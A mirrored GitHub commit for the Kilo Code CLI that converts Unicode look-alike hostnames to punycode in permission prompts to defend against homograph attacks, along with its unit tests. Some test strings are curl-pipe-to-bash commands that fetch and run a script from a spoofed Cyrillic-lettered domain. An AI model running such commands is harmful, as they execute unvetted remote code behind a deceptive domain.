mirror of
https://github.com/Kilo-Org/kilocode.git
synced 2026-09-24 16:02:55 +08:00
Merge pull request #10152 from Kilo-Org/glittery-writer
fix(cli): normalize IDN hostnames to punycode in permission dialogs
This commit is contained in:
@@ -19,6 +19,7 @@ import { useDialog } from "../../ui/dialog"
|
||||
import { getScrollAcceleration } from "../../util/scroll"
|
||||
import { useTuiConfig } from "../../context/tui-config"
|
||||
import { ConfigProtection } from "@/kilocode/permission/config-paths" // kilocode_change
|
||||
import { normalizeUrls } from "@/kilocode/util/url" // kilocode_change
|
||||
|
||||
type PermissionStage = "permission" | "always" | "reject"
|
||||
|
||||
@@ -294,7 +295,7 @@ export function PermissionPrompt(props: { request: PermissionRequest }) {
|
||||
if (permission === "bash") {
|
||||
const title =
|
||||
typeof data.description === "string" && data.description ? data.description : "Shell command"
|
||||
const command = typeof data.command === "string" ? data.command : ""
|
||||
const command = normalizeUrls(typeof data.command === "string" ? data.command : "") // kilocode_change
|
||||
return {
|
||||
icon: "#",
|
||||
title,
|
||||
@@ -325,7 +326,7 @@ export function PermissionPrompt(props: { request: PermissionRequest }) {
|
||||
}
|
||||
|
||||
if (permission === "webfetch") {
|
||||
const url = typeof data.url === "string" ? data.url : ""
|
||||
const url = normalizeUrls(typeof data.url === "string" ? data.url : "") // kilocode_change
|
||||
return {
|
||||
icon: "%",
|
||||
title: `WebFetch ${url}`,
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
/**
|
||||
* Normalize any http/https URLs in a string so that IDN/Unicode hostnames are
|
||||
* converted to their punycode ASCII form, preventing homograph attacks in
|
||||
* permission dialogs where visually identical Unicode characters (e.g. Cyrillic
|
||||
* 'а' U+0430) could impersonate trusted domains (e.g. 'apitest.com').
|
||||
*
|
||||
* Example: "curl https://аpitest.com/status" (Cyrillic а)
|
||||
* → "curl https://xn--pitest-2nf.com/status"
|
||||
*
|
||||
* Trailing sentence punctuation (. , ! ? ; :) that \S+ would otherwise consume
|
||||
* into the URL match is stripped before parsing and left in place afterward, so
|
||||
* plain-text prose like "see https://example.com." is returned unchanged.
|
||||
*
|
||||
* Only the hostname is replaced, not the full href, to avoid side-effects such
|
||||
* as new URL() appending a trailing slash to bare origins.
|
||||
*/
|
||||
export function normalizeUrls(text: string) {
|
||||
return text.replace(/https?:\/\/\S+/g, (match) => {
|
||||
// Strip trailing sentence punctuation that \S+ greedily consumes but that
|
||||
// is almost certainly not part of the URL (e.g. "visit https://x.com.").
|
||||
const stripped = match.replace(/[.,!?;:)"'\]>]+$/, "")
|
||||
const tail = match.slice(stripped.length)
|
||||
try {
|
||||
const parsed = new URL(stripped)
|
||||
// Extract the raw hostname from the stripped string so we can replace
|
||||
// only that part — using href would add a trailing slash to bare origins.
|
||||
const afterScheme = stripped.indexOf("//") + 2
|
||||
const slashPos = stripped.indexOf("/", afterScheme)
|
||||
const rawHost = slashPos === -1 ? stripped.slice(afterScheme) : stripped.slice(afterScheme, slashPos)
|
||||
const colon = rawHost.indexOf(":")
|
||||
const rawHostname = colon === -1 ? rawHost : rawHost.slice(0, colon)
|
||||
if (rawHostname === parsed.hostname) return match // plain ASCII — nothing to change
|
||||
return stripped.replace(rawHostname, parsed.hostname) + tail
|
||||
} catch {
|
||||
return match
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -20,6 +20,7 @@ import { Shell } from "@/shell/shell"
|
||||
import { BashArity } from "@/permission/arity"
|
||||
import * as Truncate from "./truncate"
|
||||
import { Plugin } from "@/plugin"
|
||||
import { normalizeUrls } from "@/kilocode/util/url" // kilocode_change
|
||||
import { Effect, Stream } from "effect"
|
||||
import { ChildProcess } from "effect/unstable/process"
|
||||
import { ChildProcessSpawner } from "effect/unstable/process/ChildProcessSpawner"
|
||||
@@ -238,6 +239,7 @@ function preview(text: string) {
|
||||
return "...\n\n" + text.slice(-MAX_METADATA_LENGTH)
|
||||
}
|
||||
|
||||
|
||||
function tail(text: string, maxLines: number, maxBytes: number) {
|
||||
const lines = text.split("\n")
|
||||
if (lines.length <= maxLines && Buffer.byteLength(text, "utf-8") <= maxBytes) {
|
||||
@@ -296,7 +298,7 @@ const ask = Effect.fn("BashTool.ask")(function* (ctx: Tool.Context, scan: Scan,
|
||||
permission: "bash",
|
||||
patterns: Array.from(scan.patterns),
|
||||
always: Array.from(scan.always),
|
||||
metadata: { command }, // kilocode_change
|
||||
metadata: { command: normalizeUrls(command) }, // kilocode_change
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
@@ -4,6 +4,7 @@ import * as Tool from "./tool"
|
||||
import TurndownService from "turndown"
|
||||
import DESCRIPTION from "./webfetch.txt"
|
||||
import { isImageAttachment } from "@/util/media"
|
||||
import { normalizeUrls } from "@/kilocode/util/url" // kilocode_change
|
||||
|
||||
const MAX_RESPONSE_SIZE = 5 * 1024 * 1024 // 5MB
|
||||
const DEFAULT_TIMEOUT = 30 * 1000 // 30 seconds
|
||||
@@ -34,12 +35,14 @@ export const WebFetchTool = Tool.define(
|
||||
throw new Error("URL must start with http:// or https://")
|
||||
}
|
||||
|
||||
const url = normalizeUrls(params.url) // kilocode_change
|
||||
|
||||
yield* ctx.ask({
|
||||
permission: "webfetch",
|
||||
patterns: [params.url],
|
||||
patterns: [url], // kilocode_change
|
||||
always: ["*"],
|
||||
metadata: {
|
||||
url: params.url,
|
||||
url, // kilocode_change
|
||||
format: params.format,
|
||||
timeout: params.timeout,
|
||||
},
|
||||
@@ -71,7 +74,7 @@ export const WebFetchTool = Tool.define(
|
||||
"Accept-Language": "en-US,en;q=0.9",
|
||||
}
|
||||
|
||||
const request = HttpClientRequest.get(params.url).pipe(HttpClientRequest.setHeaders(headers))
|
||||
const request = HttpClientRequest.get(url).pipe(HttpClientRequest.setHeaders(headers)) // kilocode_change
|
||||
|
||||
// Retry with honest UA if blocked by Cloudflare bot detection (TLS fingerprint mismatch)
|
||||
const response = yield* httpOk.execute(request).pipe(
|
||||
@@ -82,7 +85,7 @@ export const WebFetchTool = Tool.define(
|
||||
err.reason.response.headers["cf-mitigated"] === "challenge",
|
||||
() =>
|
||||
httpOk.execute(
|
||||
HttpClientRequest.get(params.url).pipe(
|
||||
HttpClientRequest.get(url).pipe( // kilocode_change
|
||||
HttpClientRequest.setHeaders({ ...headers, "User-Agent": "kilo" }), // kilocode_change
|
||||
),
|
||||
),
|
||||
@@ -103,7 +106,7 @@ export const WebFetchTool = Tool.define(
|
||||
|
||||
const contentType = response.headers["content-type"] || ""
|
||||
const mime = contentType.split(";")[0]?.trim().toLowerCase() || ""
|
||||
const title = `${params.url} (${contentType})`
|
||||
const title = `${url} (${contentType})` // kilocode_change
|
||||
|
||||
if (isImageAttachment(mime)) {
|
||||
const base64Content = Buffer.from(arrayBuffer).toString("base64")
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
// kilocode_change - new file
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { normalizeUrls } from "../../../src/kilocode/util/url"
|
||||
|
||||
describe("normalizeUrls", () => {
|
||||
describe("homograph / IDN conversion", () => {
|
||||
test("converts Cyrillic look-alike in hostname to punycode", () => {
|
||||
// Cyrillic 'а' (U+0430) is visually identical to Latin 'a'
|
||||
const input = "https://\u0430pitest.com/status"
|
||||
const result = normalizeUrls(input)
|
||||
expect(result).toBe("https://xn--pitest-2nf.com/status")
|
||||
expect(result).not.toContain("\u0430")
|
||||
})
|
||||
|
||||
test("converts mixed-script hostname to punycode", () => {
|
||||
// Mix of Latin and Cyrillic in the same label
|
||||
const input = "https://\u0430pitest.com/path"
|
||||
expect(normalizeUrls(input)).not.toContain("\u0430")
|
||||
})
|
||||
|
||||
test("converts fully unicode TLD to punycode", () => {
|
||||
const input = "https://example.\u4e2d\u56fd"
|
||||
const result = normalizeUrls(input)
|
||||
expect(result).toMatch(/^https:\/\/example\.xn--/)
|
||||
})
|
||||
|
||||
test("handles http scheme as well as https", () => {
|
||||
const input = "http://\u0430pitest.com/path"
|
||||
const result = normalizeUrls(input)
|
||||
expect(result).not.toContain("\u0430")
|
||||
expect(result).toMatch(/^http:\/\/xn--/)
|
||||
})
|
||||
})
|
||||
|
||||
describe("plain ASCII URLs are unchanged", () => {
|
||||
test("leaves a URL with a path untouched", () => {
|
||||
const url = "https://apitest.com/status"
|
||||
expect(normalizeUrls(url)).toBe(url)
|
||||
})
|
||||
|
||||
test("leaves a URL with path and query string untouched", () => {
|
||||
const url = "http://example.com/foo?bar=1&baz=2"
|
||||
expect(normalizeUrls(url)).toBe(url)
|
||||
})
|
||||
|
||||
test("leaves a localhost URL with port untouched", () => {
|
||||
const url = "http://localhost:3000/api"
|
||||
expect(normalizeUrls(url)).toBe(url)
|
||||
})
|
||||
|
||||
test("leaves a bare origin untouched (no trailing slash added)", () => {
|
||||
// Regression: new URL("https://example.com").href === "https://example.com/"
|
||||
// The old implementation using href would mutate bare origins by adding "/".
|
||||
const url = "https://example.com"
|
||||
expect(normalizeUrls(url)).toBe(url)
|
||||
})
|
||||
})
|
||||
|
||||
describe("trailing sentence punctuation is not consumed into the URL", () => {
|
||||
test("period at end of sentence is not consumed (was: adds trailing slash)", () => {
|
||||
// "see https://example.com." — the period ends the sentence, not the URL.
|
||||
// Old behaviour (bug): returned "see https://example.com./"
|
||||
expect(normalizeUrls("see https://example.com.")).toBe("see https://example.com.")
|
||||
})
|
||||
|
||||
test("exclamation mark at end of sentence is not consumed", () => {
|
||||
expect(normalizeUrls("visit https://example.com!")).toBe("visit https://example.com!")
|
||||
})
|
||||
|
||||
test("comma after URL in a list is not consumed", () => {
|
||||
expect(normalizeUrls("check https://example.com, then continue")).toBe(
|
||||
"check https://example.com, then continue",
|
||||
)
|
||||
})
|
||||
|
||||
test("closing parenthesis after URL is not consumed", () => {
|
||||
expect(normalizeUrls("(see https://example.com)")).toBe("(see https://example.com)")
|
||||
})
|
||||
|
||||
test("trailing punctuation after an IDN URL is stripped correctly and punycode applied", () => {
|
||||
// Trailing period on a homograph URL: period is sentence punctuation, not part of the URL.
|
||||
const input = "see https://\u0430pitest.com."
|
||||
const result = normalizeUrls(input)
|
||||
expect(result).toBe("see https://xn--pitest-2nf.com.")
|
||||
expect(result).not.toContain("\u0430")
|
||||
})
|
||||
})
|
||||
|
||||
describe("URL embedded in a bash command string", () => {
|
||||
test("normalizes the URL portion of a curl command", () => {
|
||||
const input = "curl https://\u0430pitest.com/status"
|
||||
const result = normalizeUrls(input)
|
||||
expect(result).toMatch(/^curl https:\/\/xn--/)
|
||||
expect(result).not.toContain("\u0430")
|
||||
})
|
||||
|
||||
test("preserves flags and pipe around the URL", () => {
|
||||
const input = "curl -sSf https://\u0430pitest.com/status | bash"
|
||||
const result = normalizeUrls(input)
|
||||
expect(result).toMatch(/^curl -sSf /)
|
||||
expect(result).toContain("| bash")
|
||||
})
|
||||
|
||||
test("normalizes multiple URLs in a single command", () => {
|
||||
const input = "curl https://\u0430pitest.com/a && curl https://\u0430pitest.com/b"
|
||||
const result = normalizeUrls(input)
|
||||
expect(result.match(/xn--/g)?.length).toBe(2)
|
||||
expect(result).not.toContain("\u0430")
|
||||
})
|
||||
|
||||
test("leaves a plain-ASCII command entirely unchanged", () => {
|
||||
const input = "curl -sSf https://kilo.ai/update.sh | bash"
|
||||
expect(normalizeUrls(input)).toBe(input)
|
||||
})
|
||||
})
|
||||
|
||||
describe("edge cases", () => {
|
||||
test("returns empty string unchanged", () => {
|
||||
expect(normalizeUrls("")).toBe("")
|
||||
})
|
||||
|
||||
test("returns text with no URLs unchanged", () => {
|
||||
const text = "just some plain text without links"
|
||||
expect(normalizeUrls(text)).toBe(text)
|
||||
})
|
||||
|
||||
test("does not alter non-http/https schemes", () => {
|
||||
const text = "ftp://example.com and file:///tmp/foo"
|
||||
expect(normalizeUrls(text)).toBe(text)
|
||||
})
|
||||
|
||||
test("preserves path, query string, and fragment after IDN conversion", () => {
|
||||
const input = "https://\u0430pitest.com/path?q=1#anchor"
|
||||
const result = normalizeUrls(input)
|
||||
expect(result).toMatch(/xn--/)
|
||||
expect(result).toContain("/path?q=1#anchor")
|
||||
})
|
||||
|
||||
test("preserves a URL that fails to parse verbatim", () => {
|
||||
const malformed = "https://[unclosed"
|
||||
expect(normalizeUrls(malformed)).toBe(malformed)
|
||||
})
|
||||
})
|
||||
})
|
||||
Reference in New Issue
Block a user